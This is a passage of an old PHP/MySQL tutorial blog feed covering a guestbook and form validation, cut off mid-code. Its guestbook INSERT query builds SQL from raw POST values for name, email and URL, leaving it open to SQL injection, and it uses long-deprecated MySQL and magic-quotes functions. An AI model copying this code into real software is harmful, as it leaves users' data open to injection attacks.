class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-7947736616546938346?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/7947736616546938346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=7947736616546938346&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7947736616546938346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7947736616546938346'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/uploading-files-to-mysql-database.html' title='Uploading Files To MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-6960770709573030676</id><published>2008-03-22T00:50:00.000-07:00</published><updated>2008-03-22T00:51:19.127-07:00</updated><title type='text'>Creating A Guestbook Using PHP and MySQL</title><content type='html'>You've seen it at least once right? Guestbook is one of the most common thing to find in a website. In this tutorial we'll create a guestbook using PHP and MySQL.&lt;br /&gt;&lt;br /&gt;I have split this tutorial into two section, each covering a specific feature of the guestbook. &lt;br /&gt;Creating The Sign-Guestbook Form &lt;br /&gt;This part will cover creating the database tables, the guestbook form and the process of saving the entry to database &lt;br /&gt;&lt;br /&gt;Viewing The Entries &lt;br /&gt;You want to see the guestbook entries of course. This section covers fetching the entries from database and put int into an HTML table. You will also learn to show the entries in multiple pages using MySQL paging.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I think you should take a quick look what the finished guestbook look like. Just click here to see it. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Creating The Sign-Guestbook Form&lt;br /&gt;&lt;br /&gt;We start by creating the table to store the data, guestbook. There are six fields in the guestbook table:1. id : the unique identifier for an entry in the guestbook&lt;br /&gt;2. name : the visitor's name&lt;br /&gt;3. email : visitor's email address&lt;br /&gt;4. url : visitor's website url, if she has one&lt;br /&gt;5. message : the message&lt;br /&gt;6. entry_date : when did this entry added&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;I have put the SQL query needed to create the table in guestbook.txt.&lt;br /&gt;&lt;br /&gt;Below is the HTML form code. It's pretty simple, we have text box for name, email and url plus a textarea to hold the message. The submit button is attached with a javascript function because we want to check the input values before the page is submitted.&lt;br /&gt;&lt;br /&gt;Example :guestbook.php&lt;br /&gt;Source code : guestbook.phps, guestbook.txt&lt;br /&gt;&lt;br /&gt;&lt;form method="post" name="guestform"&gt;&lt;br /&gt;&lt;table width="550" border="0" cellpadding="2" cellspacing="1"&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Name *&lt;/td&gt; &lt;td&gt; &lt;br /&gt;&lt;input name="txtName" type="text" size="30" maxlength="30"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Email&lt;/td&gt;&lt;br /&gt;&lt;td&gt; &lt;br /&gt;&lt;input name="txtEmail" type="text" size="30" maxlength="50"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Website URL&lt;/td&gt;&lt;br /&gt;&lt;td&gt; &lt;br /&gt;&lt;input name="txtUrl" type="text" value="http://" size="30" maxlength="50"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Message *&lt;/td&gt; &lt;td&gt; &lt;br /&gt;&lt;textarea name="mtxMessage" cols="80" rows="5"&gt;&lt;/textarea&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;td&gt; &lt;br /&gt;&lt;input name="btnSign" type="submit" value="Sign Guestbook" onClick="return checkForm();"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;br /&gt;Below is the javascript code to check the input form. The checkForm() function is called when the "Sign Guestbook" button is clicked.&lt;br /&gt;&lt;br /&gt;The mandatory fields are name and message so if either is empty we pop an alert box to tell the visitor to enter the name and message. Email is not a mandatory field so we only check if in an email address is entered but we won't complain if there's none .&lt;br /&gt;&lt;br /&gt;function checkForm()&lt;br /&gt;{&lt;br /&gt;   // the variables below are assigned to each&lt;br /&gt;   // form input &lt;br /&gt;   var gname, gemail, gurl, gmessage;&lt;br /&gt;&lt;br /&gt;   with(window.document.guestform)&lt;br /&gt;   {&lt;br /&gt;      gname    = txtName;&lt;br /&gt;      gemail   = txtEmail;&lt;br /&gt;      gurl     = txtUrl;&lt;br /&gt;      gmessage = mtxMessage;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   // if name is empty alert the visitor&lt;br /&gt;   if(trim(gname.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your name');&lt;br /&gt;      gname.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   // alert the visitor if email is empty or &lt;br /&gt;   // if the format is not correct &lt;br /&gt;   else if(trim(gemail.value) != '' &amp;&amp; !isEmail(trim(gemail.value)))&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter a valid email address or leave it blank');&lt;br /&gt;      gemail.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   // alert the visitor if message is empty&lt;br /&gt;   else if(trim(gmessage.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your message');&lt;br /&gt;      gmessage.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;      // when all input are correct &lt;br /&gt;      // return true so the form will submit &lt;br /&gt;      return true;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;Strip whitespace from the beginning and end of a string&lt;br /&gt;*/&lt;br /&gt;function trim(str)&lt;br /&gt;{&lt;br /&gt;   return str.replace(/^\s+|\s+$/g,'');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;   Check if a string is in valid email format. &lt;br /&gt;*/&lt;br /&gt;function isEmail(str)&lt;br /&gt;{&lt;br /&gt;var regex = /^[-_.a-z0-9]+@(([-a-z0-9]+\.)+(ad|ae|aero|af|ag|&lt;br /&gt;ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|&lt;br /&gt;bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|&lt;br /&gt;ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|&lt;br /&gt;ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|&lt;br /&gt;gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|&lt;br /&gt;il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|&lt;br /&gt;kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mil|mk|&lt;br /&gt;ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|&lt;br /&gt;ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|&lt;br /&gt;pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|&lt;br /&gt;si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|&lt;br /&gt;tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|&lt;br /&gt;vu|wf|ws|ye|yt|yu|za|zm|zw)|(([0-9][0-9]?|[0-1][0-9][0-9]|[2]&lt;br /&gt;[0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2]&lt;br /&gt;[0-4][0-9]|[2][5][0-5]))$/i;&lt;br /&gt;return regex.test(str);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;After the form is submitted our job turns to saving the input into the database.&lt;br /&gt;&lt;br /&gt;In the code below I include config.php and opendb.php which contain the database configuration and the code needed to open a connection to MySQL. It's a good practice to put these actions in separate file. That way everytime you need to connect to MySQL you can include these files instead of rewriting the code. Also you can change the database information from just one file instead of changing it in every file that use MySQL. To see what the content of config.php, opendb.php and closedb.php go to : Connecting to MySQL database&lt;br /&gt;&lt;br /&gt;&lt;?php &lt;br /&gt;&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;if(isset($_POST['btnSign']))&lt;br /&gt;{&lt;br /&gt;   include 'library/config.php';&lt;br /&gt;   include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   $name    = trim($_POST['txtName']);&lt;br /&gt;   $email   = trim($_POST['txtEmail']);&lt;br /&gt;   $url     = trim($_POST['txtUrl']);&lt;br /&gt;   $message = trim($_POST['mtxMessage']);&lt;br /&gt;&lt;br /&gt;   if(!get_magic_quotes_gpc())&lt;br /&gt;   {&lt;br /&gt;      $message = addslashes($message);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   // if the visitor do not enter the url&lt;br /&gt;   // set $url to an empty string&lt;br /&gt;   if ($url == 'http://')&lt;br /&gt;   {&lt;br /&gt;      $url = '';&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   $query = "INSERT INTO guestbook (name, &lt;br /&gt;                                    email, &lt;br /&gt;                                    url, &lt;br /&gt;                                    message, &lt;br /&gt;                                    entry_date) &lt;br /&gt;             VALUES ('$name', &lt;br /&gt;                     '$email', &lt;br /&gt;                     '$url', &lt;br /&gt;                     '$message', &lt;br /&gt;                     current_date)";&lt;br /&gt;&lt;br /&gt;   mysql_query($query) or die('Error, query failed');&lt;br /&gt;&lt;br /&gt;   header('Location: ' . $_SERVER['REQUEST_URI']);&lt;br /&gt;   exit;&lt;br /&gt;}&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;The script check if the $_POST['btnSign'] variable is set. If it is then the "Sign Guestbook" button must have been clicked and now we can read name, email, url and message from the $_POST global variable. After that we create an INSERT query string and execute the query using mysql_query().&lt;br /&gt;&lt;br /&gt;Sometimes a message can contain single quotes, we need to escape these single quotes ( replacing it with \' ) otherwise MySQL will think that it's the end of a string and the query will fail. We use the addslashes() function to escape the string.&lt;br /&gt;&lt;br /&gt;Unfortunately some web hosts set the magic_quotes_gpc setting on. This will make values containing single-quotes in $_GET, $_POST and $_COOKIE will be automatically escaped. If we use addslashes() when the string is already escaped the result would be a mess.&lt;br /&gt;&lt;br /&gt;To check if magic_quotes_gpc is On use get_magic_quotes_gpc(). If it returns true then we don't have to call addslashes().&lt;br /&gt;&lt;br /&gt;Ok, now affter all input is ready we can build the query string to enter the name, email, url, message and entry date. Note that for the entry_date field we use current_date. This is not a PHP variable or function, it's a built in MySQL function that returns ( guess what? ) the current date. &lt;br /&gt;&lt;br /&gt;You also see that I didn't explicitly insert the value of id field. This is because id is set as auto_increment so when we insert a new row into the table a new value for id is automatically generated ( incremented for each new row).&lt;br /&gt;&lt;br /&gt;After inserting the new guestbook entry the next thing we do is redirect back to current page using header('Location: ' . $_SERVER['REQUEST_URI']);&lt;br /&gt;&lt;br /&gt;Why?&lt;br /&gt;&lt;br /&gt;The redirect is just to prevent double submission. Suppose we don't use the redirect and the visitor hit the refresh button after signing up the guestbook then the form will be submitted again. &lt;br /&gt;&lt;br /&gt;Note : If you get this kind of error message&lt;br /&gt;&lt;br /&gt;Warning: Cannot modify header information - headers already sent by (output started at C:\webroot\guestbook\library\config.php:7) in C:\webroot\guestbook\guestbook.php on line 43&lt;br /&gt;&lt;br /&gt;this mean the redirect failed because you already sent something to the browser. I got the error message above because i "accidentally" have a space right after the closing tag ( ?&gt; ) in config.php. By removing this space the error is fixed.&lt;br /&gt;&lt;br /&gt;This kind of errror is actually very common to see when your code is sending headers and fixing it is easy like the example above. Just check the file pointed by the error message and see if you accidentally sent ( print ) anyhing to the browser.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-6960770709573030676?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/6960770709573030676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=6960770709573030676&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/6960770709573030676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/6960770709573030676'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/creating-guestbook-using-php-and-mysql.html' title='Creating A Guestbook Using PHP and MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-1542155681672135296</id><published>2008-03-22T00:48:00.000-07:00</published><updated>2008-03-22T00:50:10.345-07:00</updated><title type='text'>Form Validation With PHP</title><content type='html'>Whenever you make a form you should not leave it alone without any form validation. Why? Because there is no guarantee that the input is correct and processing incorrect input values can make your application give unpredictable result.&lt;br /&gt;&lt;br /&gt;You can validate the form input on two places, client side and server side.&lt;br /&gt;&lt;br /&gt;Client side form validation usually done with javascript. Client side validation makes your web application respond 'faster' while server side form validation with PHP can act as a backup just in case the user switch off javascript support on her browser. And since different browsers can behave differently there is always a possibility that the browser didn't execute the javascript code as you intended.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Some things you need to check :&lt;br /&gt;empty values&lt;br /&gt;numbers only&lt;br /&gt;input length&lt;br /&gt;email address&lt;br /&gt;strip html tags&lt;br /&gt;&lt;br /&gt;To show form validation with php in action I'll use the contact form in this website. Click here to see the contact form and then take a look at the source code.&lt;br /&gt;&lt;br /&gt;This contact form requires four input :&lt;br /&gt;sender name&lt;br /&gt;sender email&lt;br /&gt;message subject&lt;br /&gt;message body&lt;br /&gt;&lt;br /&gt;First let's focus on the client side validation. On the "Send Message" button I put this javascript code : onClick="return checkForm();", which is triggered when you click on it. Clicking the button will run the function checkForm().Every input is checked to see whether they are valid input. When an invalid input is found the function returns false so the form is not submitted. When you insert valid input the function will return true and the form is submitted.&lt;br /&gt;&lt;br /&gt;Go ahead and play around with the form. Try entering only spaces for the input value or enter glibberish string as email address.&lt;br /&gt;&lt;br /&gt;The code snippet below shows the client part of contact form.&lt;br /&gt;&lt;br /&gt;Example : contact.php&lt;br /&gt;Source code : contact.phps&lt;br /&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Contact Form&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;&lt;br /&gt;&lt;style type="text/css"&gt;&lt;br /&gt;&lt;br /&gt;// CSS goes here&lt;br /&gt;&lt;br /&gt;&lt;/style&gt;&lt;br /&gt;&lt;script language="JavaScript"&gt;&lt;br /&gt;function checkForm()&lt;br /&gt;{&lt;br /&gt;   var cname, cemail, csubject, cmessage;&lt;br /&gt;   with(window.document.msgform)&lt;br /&gt;   {&lt;br /&gt;      cname    = sname;&lt;br /&gt;      cemail   = email;&lt;br /&gt;      csubject = subject;&lt;br /&gt;      cmessage = message;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   if(trim(cname.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your name');&lt;br /&gt;      cname.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else if(trim(cemail.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your email');&lt;br /&gt;      cemail.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else if(!isEmail(trim(cemail.value)))&lt;br /&gt;   {&lt;br /&gt;      alert('Email address is not valid');&lt;br /&gt;      cemail.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else if(trim(csubject.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter message subject');&lt;br /&gt;      csubject.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else if(trim(cmessage.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your message');&lt;br /&gt;      cmessage.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;      cname.value    = trim(cname.value);&lt;br /&gt;      cemail.value   = trim(cemail.value);&lt;br /&gt;      csubject.value = trim(csubject.value);&lt;br /&gt;      cmessage.value = trim(cmessage.value);&lt;br /&gt;      return true;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function trim(str)&lt;br /&gt;{&lt;br /&gt;   return str.replace(/^\s+|\s+$/g,'');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function isEmail(str)&lt;br /&gt;{&lt;br /&gt;   var regex = /^[-_.a-z0-9]+@(([-_a-z0-9]+\.)+(ad|ae|aero|af|ag|&lt;br /&gt;ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|&lt;br /&gt;bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|&lt;br /&gt;ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|&lt;br /&gt;dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|&lt;br /&gt;gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|&lt;br /&gt;hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|&lt;br /&gt;kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|&lt;br /&gt;ma|mc|md|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|&lt;br /&gt;mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|&lt;br /&gt;nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|&lt;br /&gt;re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|&lt;br /&gt;su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|&lt;br /&gt;ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|&lt;br /&gt;zm|zw)|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i;&lt;br /&gt;&lt;br /&gt;return regex.test(str);&lt;br /&gt;}&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt; &lt;br /&gt;&lt;form method="post" name="msgform"&gt;&lt;br /&gt;&lt;table width="500" border="0" align="center" cellpadding="2" cellspacing="1" class="maincell"&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="106"&gt;Your Name&lt;/td&gt;&lt;br /&gt;&lt;td width="381"&gt;&lt;input name="sname" type="text" class="box" id="sname" size="30"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td&gt;Your Email&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;input name="email" type="text" class="box" id="email" size="30"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td&gt;Subject&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="subject" type="text" class="box" id="subject" size="30"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td&gt;Message&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;textarea name="message" cols="55" rows="10" wrap="OFF" class="box" id="message"&gt;&lt;/textarea&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr align="center"&gt; &lt;br /&gt;&lt;td colspan="2"&gt;&lt;input name="send" type="submit" class="bluebox" id="send" value="Send Message" onClick="return checkForm();"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr align="center"&gt; &lt;br /&gt;&lt;td colspan="2"&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt; &lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Now we'll take a better look at checkForm() function : &lt;br /&gt;&lt;br /&gt;function checkForm()&lt;br /&gt;{&lt;br /&gt;   var cname, cemail, csubject, cmessage;&lt;br /&gt;   with(window.document.msgform)&lt;br /&gt;   {&lt;br /&gt;      cname    = sname;&lt;br /&gt;      cemail   = email;&lt;br /&gt;      csubject = subject;&lt;br /&gt;      cmessage = message;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   // ... the rest of the code&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;In the beginning of the function I use the keyword var to declare four variables to reference the form input . They are cname, cemail, csubject and cmessage. These variables will reference the form input sname, email, subject and message respectively. &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Javascript treats a document and it's element as object. The message form is named msgform so to access is we use window.document.msgform and to access the sname input text we can use window.document.msgform.sname.&lt;br /&gt;&lt;br /&gt;To avoid the hassle of writing the window.document.msgform part whenever we want to access a form object I use the with() keyword. Without it the checkForm() function would look like : &lt;br /&gt;&lt;br /&gt;function checkForm()&lt;br /&gt;{&lt;br /&gt;   var cname, cemail, csubject, cmessage;&lt;br /&gt;   &lt;br /&gt;   cname    = window.document.msgform.sname;&lt;br /&gt;   cemail   = window.document.msgform.email;&lt;br /&gt;   csubject = window.document.msgform.subject;&lt;br /&gt;   cmessage = window.document.msgform.message;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   // ... the rest of the code&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Next we'll validate each form input. &lt;br /&gt;&lt;br /&gt;function checkForm()&lt;br /&gt;{&lt;br /&gt;   // variable declarations goes here ...&lt;br /&gt;&lt;br /&gt;   if(trim(cname.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your name');&lt;br /&gt;      cname.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else if(trim(cemail.value) == '')&lt;br /&gt;   {&lt;br /&gt;      alert('Please enter your email');&lt;br /&gt;      cemail.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   else if(!isEmail(trim(cemail.value)))&lt;br /&gt;   {&lt;br /&gt;      alert('Email address is not valid');&lt;br /&gt;      cemail.focus();&lt;br /&gt;      return false;&lt;br /&gt;   }&lt;br /&gt;   // The rest of validation code goes here ...&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;To access the value of the name input box we use cname.value. The name values is trimmed to remove extra spaces from the beginning and end of the name. If you do not enter your name or only entering spaces then an alert box will pop up. Using cname.focus() the cursor will be placed to the name input box and then checkForm() return false which cancel the form submit. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The code above uses trim() function. This is not a built in javascript function. I can't understand why there is no trim() function in javascript, even VBScript has it. Anyway it's not a big deal because we can just make our own trim() function. The solution here uses regular expression to replace any spaces in the beginning and end of a string with blank string. &lt;br /&gt;&lt;br /&gt;function trim(str)&lt;br /&gt;{&lt;br /&gt;   return str.replace(/^\s+|\s+$/g,'');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The forward slash (/) is used to create a regular expression. Note that it is not a string, you don't have to use quotes and it won't work if you use quotes. Let's chop the regular expression notation so we can understand it better :&lt;br /&gt;^ : the beginning of a string &lt;br /&gt;$ : end of string.&lt;br /&gt;\s : single whitespace character (tab also count as whitespace)&lt;br /&gt;+ : one or more&lt;br /&gt;| : conditional (OR)&lt;br /&gt;g : global, mainly used for search and replace operation&lt;br /&gt;&lt;br /&gt;So in english the search replace function above can be read as :&lt;br /&gt;&lt;br /&gt;"Replace one or more whitespace character from the beginning or ending of a string with blank character"&lt;br /&gt;&lt;br /&gt;As for the email input, we need to double check it. First, check if the email is entered and second check if the input is in a valid email format. For the second check well use isEmail() function. This function also uses regular expression.&lt;br /&gt;&lt;br /&gt;A valid email format can be described as :&lt;br /&gt;&lt;br /&gt;[ a string consisting of alphanumeric characters, underscores, dots or dash ] @ ( [ a valid domain name ] DOT [ a valid TLD ]) OR [a valid IP adress ]&lt;br /&gt;&lt;br /&gt;In case you're wondering TLD means Top Level Domain such as com, net, org, biz, etc.&lt;br /&gt;&lt;br /&gt;When you see the source code you will see that the regular expression in isEmail() function is actually written in one line. I have to break them into multiple lines just to fit the space. The PHP Manual explains the regular expression syntax for PHP in depth, but if you want to learn regular expression for javascript you can go to : http://www.regular-expressions.info&lt;br /&gt;&lt;br /&gt;Finally, if all input are considered valid checkForm() returns true and the form will be submitted. This will set the $_POST['send'] variable and now we start validating the input on the server side using PHP.&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;$errmsg  = ''; // error message&lt;br /&gt;$sname   = ''; // sender's name&lt;br /&gt;$email   = ''; // sender's email addres&lt;br /&gt;$subject = ''; // message subject&lt;br /&gt;$message = ''; // the message itself&lt;br /&gt;&lt;br /&gt;if(isset($_POST['send']))&lt;br /&gt;{&lt;br /&gt;   $sname   = $_POST['sname'];&lt;br /&gt;   $email   = $_POST['email'];&lt;br /&gt;   $subject = $_POST['subject'];&lt;br /&gt;   $message = $_POST['message'];&lt;br /&gt;   &lt;br /&gt;   if(trim($sname) == '')&lt;br /&gt;   {&lt;br /&gt;      $errmsg = 'Please enter your name';&lt;br /&gt;   } &lt;br /&gt;   else if(trim($email) == '')&lt;br /&gt;   {&lt;br /&gt;      $errmsg = 'Please enter your email address';&lt;br /&gt;   }&lt;br /&gt;   else if(!isEmail($email))&lt;br /&gt;   {&lt;br /&gt;      $errmsg = 'Your email address is not valid';&lt;br /&gt;   }&lt;br /&gt;   else if(trim($subject) == '')&lt;br /&gt;   {&lt;br /&gt;      $errmsg = 'Please enter message subject';&lt;br /&gt;   }&lt;br /&gt;   else if(trim($message) == '')&lt;br /&gt;   {&lt;br /&gt;      $errmsg = 'Please enter your message';&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;// ... more code here&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;The PHP validation is doing the same thing as the javascript validation. It check each value to see if it's empty and if it is we consider that as an error. We also recheck the validity of the email address.&lt;br /&gt;&lt;br /&gt;When we find an error we set the value of $errmsg. We will print this value so the user can fix the error.&lt;br /&gt;&lt;br /&gt;If everything is okay the value of $errmsg will be blank. So we continue processing the input. &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// ... previous validation code&lt;br /&gt;&lt;br /&gt;if($errmsg == '')&lt;br /&gt;{&lt;br /&gt;   if(get_magic_quotes_gpc())&lt;br /&gt;   {&lt;br /&gt;      $subject = stripslashes($subject);&lt;br /&gt;      $message = stripslashes($message);&lt;br /&gt;   } &lt;br /&gt;&lt;br /&gt;   $to      = "email@yourdomain.com";&lt;br /&gt;   $subject = '[Contact] : ' . $subject;&lt;br /&gt;   $msg     = "From : $sname \r\n " . $message;&lt;br /&gt;   mail($to,&lt;br /&gt;        $subject,&lt;br /&gt;        $msg,&lt;br /&gt;        "From: 